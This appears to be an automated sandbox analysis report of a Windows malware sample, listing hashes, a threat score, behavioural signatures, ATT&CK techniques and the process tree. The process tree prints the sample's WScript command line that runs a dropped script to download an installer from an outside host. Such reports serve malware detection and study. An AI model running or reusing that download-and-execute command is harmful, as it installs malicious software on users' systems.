60c1fa3596584a9dd18663cf5f312f25cae53171c14a040f093081475659a1bd

General

Target
9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe
Size 184KB
Sample240611-fdqdkavhlm
SHA256 60c1fa3596584a9dd18663cf5f312f25cae53171c14a040f093081475659a1bd
MD5 9d03368e2dfb77a719e37f486e94dbe0
SHA1 6ecf0ca078a5abeafc69e4cebf8034fa479eb2a6
SHA512 76ea611dbbea4bd920d3dbbe69a1b9b28defd324bd8e7e9ce9365139a1ae2500fcd9e5e0eadaf21195d0956120637fc801d0049d839577eb60ac42df8382792b
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3W:/7BSH8zUB+nGESaaRvoB7FJNndn7
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
14	3616	WScript.exe
42	4152	WScript.exe
43	4152	WScript.exe
58	2336	WScript.exe
59	2336	WScript.exe
61	4608	WScript.exe
63	1076	WScript.exe
64	1076	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4612	1964	WerFault.exe	90

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 3616	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	91
PID 1964 wrote to memory of 3616	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	91
PID 1964 wrote to memory of 3616	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	91
PID 1964 wrote to memory of 4152	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	98
PID 1964 wrote to memory of 4152	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	98
PID 1964 wrote to memory of 4152	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	98
PID 1964 wrote to memory of 2336	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	102
PID 1964 wrote to memory of 2336	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	102
PID 1964 wrote to memory of 2336	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	102
PID 1964 wrote to memory of 4608	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	103
PID 1964 wrote to memory of 4608	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	103
PID 1964 wrote to memory of 4608	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	103
PID 1964 wrote to memory of 1076	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	104
PID 1964 wrote to memory of 1076	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	104
PID 1964 wrote to memory of 1076	1964	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	104

C:\Users\Admin\AppData\Local\Temp\9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe
  2⤵
  - Blocklisted process makes network request
  PID:3616
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe
  2⤵
  - Blocklisted process makes network request
  PID:4152
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe
  2⤵
  - Blocklisted process makes network request
  PID:2336
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe
  2⤵
  - Blocklisted process makes network request
  PID:4608
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4031.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4031.exe
  2⤵
  - Blocklisted process makes network request
  PID:1076
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1964 -s 1452
  2⤵
  - Program crash
  PID:4612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:8
1⤵
PID:4412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1964 -ip 1964
1⤵
PID:2188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fuf4031.js

Path C:\Users\Admin\AppData\Local\Temp\fuf4031.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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Analysis

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